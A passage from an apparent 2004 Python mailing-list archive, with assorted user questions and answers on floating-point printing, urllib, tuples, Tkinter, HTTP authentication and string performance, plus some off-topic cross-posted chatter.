> Including Nanagram, Dirwatcher and more.
> ---
> http://www.fuchsiashockz.co.uk
> http://groups.yahoo.com/group/void-shockz
> ---
> 
> Everyone has talent. What is rare is the courage to follow talent
>  to the dark place where it leads. -Erica Jong
> Ambition is a poor excuse for not having sense enough to be lazy.
>          -Milan Kundera
>


From http  Tue Sep 28 06:07:04 2004
From: http (Paul Rubin)
Date: 28 Sep 2004 03:07:04 -0700
Subject: floating point glitch
References: <415295E6.9040602@ericsson.com>
	<l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com>
	<cj5v5i$7vk$1@pegasus.csx.cam.ac.uk>
	<7xhdple624.fsf@ruckus.brouhaha.com>
	<kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com>
	<m2lleusrgo.fsf@mycroft.actrix.gen.nz>
	<7xis9yoilc.fsf@ruckus.brouhaha.com>
	<wz3c12k9hv.fsf@ordesa.cs.uu.nl>
Message-ID: <7xr7omg113.fsf@ruckus.brouhaha.com>

Piet van Oostrum <piet at cs.uu.nl> writes:
> PR> Nah, you can do that by printing everything as zero.
> 
> That would not maintain print/read consistency, i.e. if you read back the
> printed value you don't get the original value.

The current conversion doesn't have that property.

    >>> a=.66+1e-13
    >>> print a
    0.66
    >>> b=0.66
    >>> a==b
    False


From jjl at pobox.com  Sun Sep 19 16:25:33 2004
From: jjl at pobox.com (John J. Lee)
Date: 19 Sep 2004 21:25:33 +0100
Subject: bad data from urllib when run from MS .bat file
References: <414cb56d$0$58900$75868355@news.frii.net>
Message-ID: <87acvmxayq.fsf@pobox.com>

"Stuart McGraw" <smcg4191 at frii.RimoovThisToReply.com> writes:
[...]
> 2. Create a batch file that will run test.py:
> test.bat:
> ----------------
> python test.py http://etext.lib.virginia.edu/cgi-local/breen/wwwjdic?1W%BF%A9%A4%D9%A4%EB_v1
> ----------------
> 
> 3. In a cmd.exe window run the following two commands:
>   python test.py http://etext.lib.virginia.edu/cgi-local/breen/wwwjdic?1W%BF%A9%A4%D9%A4%EB_v1 >out1.txt
>   test.bat >out2.txt
> 
> 4. out1.txt and out2.txt should be identical.  But they are not.
[...]
> Running with a debugger shows that the corruption is in the text 
> received from urllib; it is not a result of the euc-jp decoding,
> UTF-8 encoding, or writing to the output file.

Hmm...


> So it looks like some bad mojo between urllib and the Windows
> batch environment.

Just a guess, without actually bothering to think about the numerology
in detail:

test.bat:
----------------
python -u test.py http://etext.lib.virginia.edu/cgi-local/breen/wwwjdic?1W%BF%A9%A4%D9%A4%EB_v1
----------------

Note the -u switch (for 'unbuffered', but also 'um, binary mode'
<wink>).


John


From tungwaiyip at yahoo.com  Thu Sep  2 12:52:58 2004
From: tungwaiyip at yahoo.com (Wai Yip Tung)
Date: Thu, 02 Sep 2004 09:52:58 -0700
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
Message-ID: <opsdpk6kx9433nmu@news.cisco.com>

Oops I misunderstood that you said about count and index. Now I got it.

Speaking as a user of Python, here is my take:

You consider tuple an immutable version of list. But in Python's design  
they have different purpose. List a collection of homogeneous items, while  
tuple is  a convenient grouping of any kind of items. For example, you can  
use them this way:

users = ['admin', 'user1', 'user2']
address = ('www.python.org', 80)

index and count only make sense when the collection is homogeneous.  
Therefore they are not defined for tuple.

tung

On Thu, 02 Sep 2004 17:40:27 +0100, Will McGugan  
<news at NOwillmcguganSPAM.com> wrote:

> Wai Yip Tung wrote:
>
>> I'm not sure what do you mean by index. But you can use len() to get  
>> the  number of objects in a tuple. e.g.
>>
>>>>> t=(1,2,3)
>>>>> len(t)
>>  3
>>
>>>>> t[2]
>>  3
>>
>
> Lista have an index method that returns the index of the first occurance  
> of an element, but tuple doesnt (nor count). Just wondering why.
>
>  >>> l= [ 1, 2, 3 ]
>  >>> t= ( 1, 2, 3 )
>  >>> l.index(2)
> 1
>  >>> t.index(2)
> Traceback (most recent call last):
>    File "<pyshell#8>", line 1, in ?
>      t.index(2)
> AttributeError: 'tuple' object has no attribute 'index'



From nid_oizo at yahoo.com_removethe_  Sat Sep  4 17:17:21 2004
From: nid_oizo at yahoo.com_removethe_ (Nicolas Fleury)
Date: Sat, 04 Sep 2004 17:17:21 -0400
Subject: Check existence of members/methods
In-Reply-To: <1gjk0oi.1bn85pv6h55h4N%aleaxit@yahoo.com>
References: <qaNZc.23386$CG3.1553602@news20.bellglobal.com>
	<1gjk0oi.1bn85pv6h55h4N%aleaxit@yahoo.com>
Message-ID: <kgq_c.80431$Vx2.1792281@wagner.videotron.net>

Alex Martelli wrote:
> try: meth = object.setXmlFilename
> except AttributeError: meth = lambda x: setattr(object,'xmlFilename',x)
> meth(currentFillename)
> 
> This doesn't assume that object.xmlFilename must already exist before
> you can set it, which IS implied by your code here quoted -- it just
> seems a slightly weird condition to me.

In my case, a xml parser/saving creating objects corresponding to 
elements and vice-versa, forcing the existence of members before setting 
them makes the code more readable (and avoid a lot of errors).  I agree 
it would be a weird restriction in other situations.

> I personally prefer the try/except/else variant:
> 
> try: meth = object.setXmlFilename
> except AttributeError: object.xmlFilename = x
> else: meth(currentFillename)
> 
> it seems way simpler to me.  However, if you think of objects lacking a
> setter method as weird and exceptional ones, I see why this might seem
> backwards.  Personally, I consider setter methods the anomaly (it's
> exactly to avoid them that we have property...:-) but I do understand
> they're frequently used.  If I often had to fight with objects full of
> getThis, setThat methods I'd wrap them into a generic wrapper with a
> __setattr__ and __getattr__ to be able to use attribute get and set as
> common sense and decency require, e.g, something like....:

Actually, I prefer the "hasattr" solution.  I'm thinking of removing the 
setter functionality from the parser.  If some class needs to do 
specific stuff when a member is updated, as you said, the built-in 
function property can still be used.

Regards,
Nicolas


From benn at cenix-bioscience.com  Mon Sep  6 04:04:35 2004
From: benn at cenix-bioscience.com (Neil Benn)
Date: Mon, 06 Sep 2004 10:04:35 +0200
Subject: How to actually write a program?
In-Reply-To: <chano0$1gv$1@sparta.btinternet.com>
References: <chano0$1gv$1@sparta.btinternet.com>
Message-ID: <413C1A13.7020709@cenix-bioscience.com>

Nick Evans wrote:

>Hello there,
>I have been on and off learning to code (with python being the second
>language I have worked on after a bit of BASIC). What I really want to know
>is, if you are going to actually write a program or a project of some sort,
>how do you actually start.
>  
>
<snip>
Hello,

          It's good that you are thinking of this rather than just 
trying to manically write some code to see what happens.  As a general 
point, there is a system that you can use to help you model out your 
program (taught to most computer science students).  This system is 
called UML (Unified Modeling Language) - I would advise getting a good 
book about UML and reading through that.  It's is complementary to the 
XP (Extreme Programming) stuff that people are talking about.

    However, be aware that some of the concepts assumed in UML don't mix 
too well to the 'Pythonic' way of doing things.  If you want to have a 
try writing some UML here are two systems you can get - there are others 
- (I can't remember the links off the top of my head) they are an 
OpenSource system called 'ArgoUML' or the community edition of 
'Together' from Borland.  Personally I prefer Together.

Cheers,

Neil

-- 

Neil Benn
Senior Automation Engineer
Cenix BioScience
BioInnovations Zentrum
Tatzberg 47
D-01307
Dresden
Germany

Tel : +49 (0)351 4173 154
e-mail : benn at cenix-bioscience.com
Cenix Website : http://www.cenix-bioscience.com



From guettli at thomas-guettler.de  Wed Sep 29 09:18:29 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Wed, 29 Sep 2004 15:18:29 +0200
Subject: Program that can find a find a file for you ?
References: <415a7f87$0$13730$ba624c82@nntp03.dk.telia.net>
Message-ID: <pan.2004.09.29.13.18.28.288793@thomas-guettler.de>

Am Wed, 29 Sep 2004 11:25:39 +0200 schrieb Peter Hansen:

> Greetings.
> 
> Im trying to write a program that can be run from the command line.
> If I want to search for example after a file with the ending .pdf, I should 
> be able to write in the command line:
> python  name of my program / the libary to search and what kind of file it 
> is example a .pdf file
> So if my program name was test.py and the library name was library1 and the 
> test type i wanted to find was, a .pdf file
> I should write python test.py /library1 .pdf

Hi,

This is something the "find" command does in a unix environment.

Here is my solution:

You could use this:
find.py your_path 'library1.*\.pdf$'

#!/usr/bin/env python
# -*- coding: iso-8859-1 -*-


# Python Imports
import os
import re
import sys

def usage():
    print """Usage: %s path regex
Print all files or directories with match the regex.

See this URL for the syntax of the regular expressions
http://docs.python.org/lib/re-syntax.html

    """ % (os.path.basename(sys.argv[0]))

def visit(regex, dirname, names):
    for name in names:
        p=os.path.join(dirname, name)
        if regex.search(p):
            print p
def main():
    if len(sys.argv)!=3:
        usage()
        sys.exit(1)
    path=sys.argv[1]
    regex=sys.argv[2]
    os.chdir(path)
    regex=re.compile(regex)
    os.path.walk(".", visit, regex)
    
if __name__=="__main__":
    main()



From martindemello at yahoo.com  Wed Sep  1 03:14:39 2004
From: martindemello at yahoo.com (Martin DeMello)
Date: Wed, 01 Sep 2004 07:14:39 GMT
Subject: Splitting a list
References: <mailman.2673.1093960462.5135.python-list@python.org>
Message-ID: <zFeZc.277543$M95.227427@pd7tw1no>

Ian Sparks <Ian.Sparks at etrials.com> wrote:
> string.split() is very useful, but what if I want to split a list of integers on some element value?
> 
>  e.g. :
> 
> >> l = [1,2,3,-1,4,5,-1,8,9]
> >> l.split(-1)
> >> [[1,2,3],[4,5],[8,9]]

reduce (lambda a, i: i == elem and (a + [[]]) or (a[:-1] + [a[-1]+[i]]),
l, [[]])

martin


From ml at dynkin.com  Wed Sep 29 14:31:50 2004
From: ml at dynkin.com (George Yoshida)
Date: Thu, 30 Sep 2004 03:31:50 +0900
Subject: interactive help on string functions - howto
In-Reply-To: <415aede9$0$24598$ba620e4c@news.skynet.be>
References: <415aede9$0$24598$ba620e4c@news.skynet.be>
Message-ID: <cjev0n$22ne$1@dojima-n0.hi-ho.ne.jp>

Helmut Jarausch wrote:
> entering
> help('rstrip')
> or
> help('ljust')
> 
> into IDLE's shell window I only get
> no Python documentation found ...
> 
> Am I missing something?

You need to remove quotes from arguments, i.e.,
 >>> help(rstrip)    # help('rstrip') is a no-no

I have to say this error message is really annoying. You can't 
guess what went wrong from it.


George


From eric_brunel at despammed.com  Fri Sep 10 03:54:49 2004
From: eric_brunel at despammed.com (Eric Brunel)
Date: Fri, 10 Sep 2004 09:54:49 +0200
Subject: Changing state of buttons.
References: <41d499da.0409090946.37bc2739@posting.google.com>
Message-ID: <chrm5f$6bc$1@news-reader4.wanadoo.fr>

Jamey Saunders wrote:
> Hi all,
> 
> I'm just learning Python (I'm about 8 hours in so far), and I have a
> problem.  I'm writing a small Windows app using Tkinter.  I have two
> buttons on my screen that I want to start in an inactive state
> (already have that working) and when two input fields have some data
> input, the buttons would become active.  What's the best way to go
> about changing the state of buttons that already exist?
> 
> Thanks!

I'm not sure I understand the meaning of your question: if it's really about 
changing the state of an existing widget, a simple 
widget.configure(state=NORMAL) will do what you want.

But the tricky part of what you want to do does not seem to be there: doing an 
action whenever the text of an entry changes is a bit tricky with Tkinter. Here 
is an example:

----------------------------------------------------------
from Tkinter import *

root = Tk()

## Create the entry and associated variable
v = StringVar()
e = Entry(root, textvariable=v)
e.pack(side=TOP)

## Create the button
b = Button(root, text='OK', command=root.quit, state=DISABLED)
b.pack(side=TOP)

## Function making the button active if needed
def makeBActive(*args):
   ## If there is something in the entry, activate the button
   if v.get().strip():
     b.configure(state=NORMAL)
   ## Otherwise de-activate it
   else:
     b.configure(state=DISABLED)

## Whenever a key is released in the entry, call the function above
e.bind('<KeyRelease>', makeBActive)

root.mainloop()
----------------------------------------------------------

HTH
-- 
- Eric Brunel <eric (underscore) brunel (at) despammed (dot) com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From nem at nowhere.invalid  Wed Sep  1 02:27:55 2004
From: nem at nowhere.invalid (Nemesis)
Date: 1 Sep 2004 06:27:55 GMT
Subject: GUI Designer
References: <wU0Zc.9845$7i2.529166@news20.bellglobal.com>
Message-ID: <ch3q5b$o17$1@e3k.asi.ansaldo.it>

"A.M" wrote:

> Do we have any OpenSource GUI designer for Python ?

If you want only to design the GUI, you can use Glade, it produces an
XML description of the GUI, and then you can use libglade+pygtk to load
the gui from your application.

-- 
XPN :: http://xpn.altervista.org

 |\ |       |HomePage   : http://nem01.altervista.org
 | \|emesis |XPN (my nr): http://xpn.altervista.org



From pm_mon at yahoo.com  Fri Sep  3 09:25:45 2004
From: pm_mon at yahoo.com (Paul Morrow)
Date: Fri, 03 Sep 2004 09:25:45 -0400
Subject: Are decorators really that different from metaclasses...
In-Reply-To: <864d3709040903053113fa8ae9@mail.gmail.com>
References: <e69d3ed204082608183634bab@mail.gmail.com>	<cglg26$ehg$3@sea.gmane.org>	<e69d3ed2040827083448c31d45@mail.gmail.com>	<mailman.2548.1093646396.5135.python-list@python.org>	<cgosmb$ki0$0$216.39.172.122@theriver.com>	<mailman.2562.1093697125.5135.python-list@python.org>	<HBF.20040901iia9@bombur.uio.no>	<ch5mkq$tb1$1@sea.gmane.org>	<20040902024221.GA3626@unpythonic.net>	<ch6umj$74i$1@sea.gmane.org>	<20040902134641.GE24397@unpythonic.net>	<loom.20040902T173546-648@post.gmane.org>	<e69d3ed204090302065c15e0a1@mail.gmail.com>	<ch9hls$600$1@sea.gmane.org>
	<864d3709040903053113fa8ae9@mail.gmail.com>
Message-ID: <ch9rcm$nt6$1@sea.gmane.org>

Carlos Ribeiro wrote:
> As for the actual idea, I don't like it. Jeff Shannon put it our
> perfectly -- it violates the "law of the least surprise". Just as a
> comparison, imagine the following scenario: a common naming convention
> is to use full uppercase names for constants. Of course, there are no
> real constants in Python, so we know its just a naming convention.
> What if the grammar was changed to turn uppercase names into real
> constants? Many of the arguments used in this discussion apply here as
> well. It's easy to see that it's not a good idea.
> 

Is your grammar change likely to break a significant amount of existing 
code?  If so, then it would probably be a bad idea.  But in and of 
itself it is *not* a bad idea (making uppercase names be constants). 
Prolog, for example, requires that all variable names start with an 
upper case letter.  Weird until you get used to it (then it's a useful 
namespace partitioning device).


> p.s. As for the discussion itself...
> 
> [Paul Morrow]
> 
>>[Anthony Baxter]
>>
>>>I stand by my earlier comments that this is all just hand-waving and
>>>fluff. There's been little concrete effort by Paul to actually spell
>>>out his proposal.
>>
>>I thought that you were done with this thread.  You probably should be
>>as you obviously can't follow what we're talking about here.  Most of
>>the others seem to.  They don't agree with me, that's clear.  But they
>>do appear to understand what I am proposing.
> 
> 
> You have to bear in mind that your proposal is not the first such idea
> to pop up in existence in this mailing list over the years. And most
> of the time, the idea is beaten up to death, exhausting everyone in
> the process, until one of the sides just gets too tired to keep
> fighting. In some cases, the idea may come up as a winner, but is the
> cost really worth it?
>  

What are you talking about here?  Are you suggesting that ideas should 
not be thoroughly discussed, 'beaten up'?  That they should just be 
quickly accepted or dismissed based on a cursory look?

Is the cost really worth it?  How can you answer that question outside 
of any particular context?  It's taken me three years at my company to 
convince them to stop using Java for application development and use 
Python instead.  That was an uphill battle all the way.  Was it worth it?

Paul



From deetsNOSPAM at web.de  Sat Sep 11 13:01:35 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Sat, 11 Sep 2004 19:01:35 +0200
Subject: Mail extraction problem (something's wrong with split methods)
References: <pan.2004.09.11.16.21.15.772439@public.srce.hr>
Message-ID: <chvb1c$tj6$00$1@news.t-online.com>

>   File "OTPAenc_dec.py", line 258, in decr
>     enc = [int(elem) for elem in split]
> ValueError: invalid literal for int(): 6730'

The problem is the trailing ' in your number - that of course can't be
converted. And I see that the  number 6573 has similar problems - it has a
leading '.

So your splitting code does not work, or your data is malformed - without
more information, I can't say anything about that, but it seems to me the
latter is the case.


-- 
Regards,

Diez B. Roggisch


From peter at engcorp.com  Tue Sep 14 08:13:23 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 14 Sep 2004 08:13:23 -0400
Subject: Electronic voting feasibility
In-Reply-To: <W%A1d.27558$Z14.9489@news.indigo.ie>
References: <mailman.3140.1094820652.5135.python-list@python.org>
	<otKdnctyIcclNtzcRVn-gg@giganews.com>
	<28KdnThSO7DtM9zcRVn-pQ@powergate.ca>
	<8PWdnfxkGeIFWNzcRVn-qQ@giganews.com>
	<K9ydnRpo-6dZVdzcRVn-vw@powergate.ca>
	<JtmdnS-gR__-U9zcRVn-iQ@giganews.com>
	<_4KdnfDylt2TSdzcRVn-pg@powergate.ca>
	<Xns95643A12D5B1BJanC@213.118.38.197>
	<W%A1d.27558$Z14.9489@news.indigo.ie>
Message-ID: <7MudnQ1_PYv5fdvcRVn-og@powergate.ca>

Alan Kennedy wrote:

> [JanC]
> 
>> They are very competent security gurus:
>> <http://www.theregister.co.uk/2003/11/25/nachi_worm_infected_diebold_atms/> 
> 
> Hmm, I read the content of that link, and I can't see anything that 
> would reassure me that Diebold are/employ competent security people.

You snipped JanC's winkey  ;-)  from the above... it was clearly
sarcasm, not a serious comment.

> Quite the opposite in fact:

Agreed... the fact that a company would use Windows as the basis for
their ATMs is a direct indication of incompetence in the security
field.  :-(

> And their performance in keeping watch on vulnerabilities doesn't 
> inspire confidence: "A patch for the critical RPC DCOM hole had been 
> available from Microsoft for over a month at the time of the attack, but 
> Diebold had neglected to install it in the infected machines."

To be fair, though why I would want to be to these bumbling fools
is beyond me, they did say that they were testing the patch.   If
we believe that (and I don't, but I'll give them the benefit of the
doubt here anyway), then it's a pretty reasonable and professional
thing to do and a one-month delay, while lengthy, is perhaps not
excessive.

> Interesting that Diebold are now installing firewalls in their ATMs. It 
> seems to me that any "security guru" with a basic clue about network 
> security would have been doing that since the first day the ATMachines 
> were connected to a network.

Firewalls in this case seem more like a bandaid, unfortunately.
Better to design the things to be secure in the first place
and you wouldn't even *need* the firewall.

-Peter


From jjl at pobox.com  Sat Sep 18 10:03:53 2004
From: jjl at pobox.com (John J. Lee)
Date: 18 Sep 2004 15:03:53 +0100
Subject: HTTP - basic authentication example.
References: <6f402501.0409150737.1bfc6958@posting.google.com>
	<d52c72d2040915092132ce7c34@mail.gmail.com>
	<6f402501040916022738bd70b5@mail.gmail.com>
	<mailman.3402.1095338985.5135.python-list@python.org>
	<6f402501.0409170026.36f24761@posting.google.com>
Message-ID: <87isabn06u.fsf@pobox.com>

fuzzyman at gmail.com (Michael Foord) writes:
> Jaime Wyant <programmer.py at gmail.com> wrote in message news:<mailman.3402.1095338985.5135.python-list at python.org>...
[...]
> have found it in your docs). This means I have a ClientCookie handler
> handling all my http requests.... I wonder if I can use an AuthHandler
> as well ? There will be situations where I am likely to want to add an
> Authroize header *and* handle cookies - ClientCookie manages all the
> cookies in a way that I couldn't do manually.

Sure, cookielib.HTTPCookieProcessor (or
ClientCookie.HTTPCookieProcessor) should work fine with all other
urllib2 handlers.  Cookies and Basic HTTP Authentication are quite
distinct and separate in their implementation at the HTTP level.

Assuming Python 2.4 (UNTESTED -- I haven't recently had occasion to
use any auth.):

import urllib2
import cookielib
import ClientCookie  # for some more urllib2 handlers, for good measure ;-)

def build_opener(realm, uri, user, password):
    ch = cookielib.HTTPCookieProcessor()

    mgr = HTTPPasswordMgr()
    mgr.add_password(realm, uri, user, password)
    ah = urllib2.HTTPBasicAuthHandler(mgr)

    yet_more_handlers = [ClientCookie.HTTPRefreshProcessor(max_time=None),
                         ClientCookie.HTTPEquivProcessor(),
                         ClientCookie.HTTPRobotRulesProcessor(),
                         ]

    return urllib2.build_opener(ch, ah, *yet_more_handlers)

opener = build_opener('myrealm', 'http://example.com/', 'joe', 'joe')
opener.open('http://example.com/restricted.html')

[...]
> The example you gave works I think - HTTPBasicAuthHandler does have an
> add_password method, but not the find_user_password that the
> HTTPPasswordMgr has... so I can't easily check if it works properly.
> In the urllib2 docs it says that passing a password manager in is
> optional - but *nowhere* does it document that it has an add_password
> method. It may be deducable from the fact that passing in a password
> manager is optional - but surely explicit is better than implicit
> (especially where documentation is concerned).
[...]

Tested doc patches posted to the Python sf.net patch tracker are
welcome :-)


John


From carribeiro at gmail.com  Tue Sep 14 11:19:28 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 14 Sep 2004 12:19:28 -0300
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <864d3709040914071939b07fd@mail.gmail.com>
References: <mailman.3261.1095106220.5135.python-list@python.org>
	<1gk3o6h.1gnebbiihpoy9N%aleaxit@yahoo.com>
	<864d3709040914071939b07fd@mail.gmail.com>
Message-ID: <864d37090409140819284dc14c@mail.gmail.com>

Alex,

Regarding the slash-backslash problem... I found the bug, it was not
hard, after all.

The problem was a side effect of the way DrPython builds some of its
environment variables, and the handling of double slashes in file
names.

At startup DrPython tries to detect the homedir. The code tries some
alternatives; if the envvars or the tilde options are not available,
and if the program is running under Win32, then it starts with "c:\".

A little bit later, it adds new path components to the path. Guess
what happens? The home dir becomes: "c:\\drpython"...

...but double slashes are invalid at that particular position. It
seems to be a side effect of the way network shares are named, of
course, although I fail to see why it should cause a problem in this
particular example. It's no problem if additional slashes are located
elsewhere into the middle of the path name.

I've fixed it and I'll send the fix to the DrPython guys. In fact, it
solved *all* issues I had with DrPython, including some strange
lockups that would last for minutes.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From zshutters at comcast.net  Fri Sep 10 17:08:52 2004
From: zshutters at comcast.net (Zach Shutters)
Date: Fri, 10 Sep 2004 14:08:52 -0700
Subject: dictionaries
References: <bcednT5L4IMqid_cRVn-oA@comcast.com>
	<mailman.3176.1094850275.5135.python-list@python.org>
Message-ID: <Aa-dnS_ChPp6it_cRVn-uQ@comcast.com>

Ok, I get it thanks!

"Steven Bethard" <steven.bethard at gmail.com> wrote in message 
news:mailman.3176.1094850275.5135.python-list at python.org...
> Zach Shutters <zshutters <at> comcast.net> writes:
>>
>> def function1():
>>     print "function1"
>>
>> def function2():
>>     print "function2"
>>
>> dict = {"1":function1,"2":function2}
>> x = input ("1 or 2?")
>>
>> dict[x]()
>
> Right idea, wrong type.  From the docs at:
>
> http://docs.python.org/lib/built-in-funcs.html
>
> ] input( [prompt])
> ]
> ]      Equivalent to eval(raw_input(prompt)).
>
> This means that when you use input, it will convert the "1" typed at the
> prompt to the integer 1.  So your code should either be:
>
>>>> d = {1:function1, 2:function2}
>>>> x = input("1 or 2? ")
> 1 or 2? 1
>>>> d[x]()
> function1
>>>>
>
> or
>
>>>> d = {"1":function1, "2":function2}
>>>> x = raw_input("1 or 2? ")
> 1 or 2? 1
>>>> d[x]()
> function1
>
> You also probably shouldn't name your dictionary 'dict' because then you
> rebind the name 'dict', which is already the builtin 'dict' function.
>
> Steve
> 




From siona at chiark.greenend.org.uk  Tue Sep  7 12:09:27 2004
From: siona at chiark.greenend.org.uk (Sion Arrowsmith)
Date: 07 Sep 2004 17:09:27 +0100 (BST)
Subject: adns-python return codes
References: <mailman.2835.1094222123.5135.python-list@python.org>
Message-ID: <pcz*nD3tq@news.chiark.greenend.org.uk>

Josh Close  <narshe at gmail.com> wrote:
>Does anyone know what the return codes for an mx adns python lookup
>are? I know 0 means a valid domain, and anything else isn't, but there
>are "no nameservers found" and "timeout" and other things that would
>have to be retried again.
>
>I looked through the source and didn't find anything, and looked
>through the gnu adns C source and didn't find anything, but I really
>don't know C at all, so I could have missed something.

I'd guess you want to be looking at adns.h, specifically the typedef'd
enum adns_status (ll. 205--255 in the copy I'm looking at), although
I've not looked at how the Python bindings to adns work. If you're
not familiar with enums, what you need to know is that it's just a
list of symbols defined to be integer values starting with 0 (eg
adns_s_ok is 0) and incrementing by one for each new symbol unless a
symbol is given an explicit value (adns_s_max_* in this case, used to
block out different types of error) -- in which case subsequent
symbols start incrementing from this value (so, eg, adns_s_timeout is
30).

-- 
\S -- siona at chiark.greenend.org.uk -- http://www.chaos.org.uk/~sion/
  ___  |  "Frankly I have no feelings towards penguins one way or the other"
  \X/  |    -- Arthur C. Clarke
   her nu become? se bera eadward ofdun hl?ddre heafdes b?ce bump bump bump


From aleaxit at yahoo.com  Wed Sep 22 13:17:01 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 22 Sep 2004 19:17:01 +0200
Subject: Python speed-up
References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net>
Message-ID: <1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com>

Guyon Mor?e <gumuz at NO_looze_SPAM.net> wrote:
   ...
> I hope someone can tell me why these are slow.

I see many others have offered excellent answers: they all boil down
to...:

"Strings are immutable; each time you code
    astring = <some operation on> astring
you're making a new string object (and throwing away the old one, unless
it's also known by other names), including the times in which you spell
this as:
    astring <someop>= whatever
which, since astring is immutable, is only a shortcut for the former."

Putting together a big string with a loop of 'bigstring+=piece' is
perhaps the best-known performance trap in Python.  Python 2.4 has
turned somersaults to lessen the penalty you pay for this, but it's
still pretty slow compared to "accumulate pieces in a list, ''.join the
list when it's done".  There's really nothing better than this _in
general_.  For your specific case, since you know in advance how long
you want the resulting sequence to be, you have options: make
encoded_text a list of the same length as it will be at the end, and
loop filling it.  In other words, you might be able to shave a little
time by coding, for example:

encoded_text = list(original_text)
for i, c in enumerate(encoded_text):
    encoded_text[i] = table[c]

another possibility that might turn out to be faster (particularly in
2.4) is:

encoded_text = map(table.__getitem__, original_text)

or similarly, in 2.3, with table.get (table.__getitem__ is slower than
it should be in 2.3... fortunately 2.4 has fixed that issue).  I'm not
sure which of these options will be faster: time them with timeit.py,
that's what it's _there_ for!-).  Anyway, encoded_text will end up as a
list, so you'll ''.join it when you're done.

"consuming a string a piece at a time from the front" is a lesser-known
trap -- interestingly, it would apply to lists as well, for different
reasons (namely, that a list is a compact array in memory, so removing
some stuff from the front requires "sliding down" all of the rest, an
operation taking time proportional to the sequence length, O(N) in
common parlance -- consuming a whole sequence that way is therefore O(N
squared), i.e., pretty bad).  The list-comprehension-of-slices solution
I've seen more than one responder propose is in fact quite a good one
(it's O(1) per step, O(N) for the whole 'consumption' operation).

You might also consider whether you want encoded_text to be a string at
all, rather than a list or array.array of 1's and 0's.  If the latter,
then 'encoded_text.extend(table[c])' as the first loop's body would do
it -- and you could make the values of table into tuples of numbers,
rather than strings, optionally.


Alex


From jmfbahciv at aol.com  Tue Sep 14 06:16:49 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Tue, 14 Sep 04 10:16:49 GMT
Subject: Xah Lee's Unixism
References: <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<41444b6a$0$6932$61fed72c@news.rcn.com>
	<87zn3v7ekc.fsf@p4.internal>
	<41446336$0$6925$61fed72c@news.rcn.com>
	<87pt4r771o.fsf@p4.internal>
	<41458c14$0$2648$61fed72c@news.rcn.com>
	<60gbk01kj3h9rsvgikv7jahelsal0bfg1c@4ax.com>
Message-ID: <4146d85b$0$2665$61fed72c@news.rcn.com>

In article <60gbk01kj3h9rsvgikv7jahelsal0bfg1c at 4ax.com>,
   Alan Balmer <albalmer at att.net> wrote:
>On Mon, 13 Sep 04 10:39:16 GMT, jmfbahciv at aol.com wrote:
>
>>>Responding in "hints" and ALL CAPS brings us to the ludicrous situation
>>>where a Turk gets to give a pointer to the ACLU to an American:
>>>
>>>http://www.aclu.org/SafeandFree/SafeandFree.cfm?ID=13079&c=207
>>
>>I'm not going to be able to get out to read that one.  Just
>>mentioning the ACLU gives me the bias that you're listening
>>with a BS filter.  ACLU has gone bonkers in that they've
>>become completely inconsist these days.
>
>This particular article isn't even consistent within itself. They try
>to make the reader equate "detainees" (most of whom have just been
>sent back home) and "secret arrests" which they somehow know all
>about. They also complain that "this group is almost entirely Arab,
>South Asian, or Muslim ...". Surprise, surprise.
>
>In fact, the article with its list of actions the ACLU has taken
>belies its own premise that all these things are happening in secret
>without any representation for the "victims."

Yea.  They seem to have taken logic lessons from Kerry.
>
>Years ago, I thought the ACLU was a Good Thing.

I agreed with a few things they did; I disagreed with a lot more.
However, I recognized that they were a good check on the
balances.  But their latest choices (not only the secret
detainee thing..there were others but I can't recall details)
have had me wondering about how do they come up with their
choices?  It's almost as if they cast lots to choose the
case and then flip a coin to see which side they'll defend.
Perhaps our pet lawyer^Wex-lawyer can explain this legal
logic.

/BAH



From reynirhs at mi.is  Fri Sep 10 01:05:25 2004
From: reynirhs at mi.is (Reynir Stefánsson)
Date: Fri, 10 Sep 2004 05:05:25 +0000
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413af268$0$19706$61fed72c@news.rcn.com>
	<rv1hhc.mtv2.ln@via.reistad.priv.no>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<1s4ihc.4i4.ln@via.reistad.priv.no>
	<opsdxecgt8pqzri1@mjolner.upc.no> <un000uufg.fsf@mail.comcast.net>
	<2tjvj0ttc99io295ecg2l86lc2h4tug1jc@4ax.com>
	<p6h0k0ds97g1ti7jl7jjmmac39bmgd0l6a@4ax.com>
Message-ID: <kjb2k0hg58hhlum8injipsfc3nhhkj9dd2@4ax.com>

So spake Brian Inglis:

>On Thu, 09 Sep 2004 04:05:31 +0000 in alt.folklore.computers, Reynir
>Stef?nsson <reynirhs at mi.is> wrote:
>
>>Wasn't the idea behind ISO/OSI that there should be One Network for
>>everybody, instead of today's lot of interconnected nets?
>
>A common network run by PTTs with ISDN terminal links IIRC. 

That's sort of the idea that I got: Job Security for the telcos.
-- 
Reynir Stef?nsson (reynirhs at mi.is)


From aleaxit at yahoo.com  Fri Sep  3 04:26:30 2004
From: aleaxit at yahoo.com (Alex Martelli)
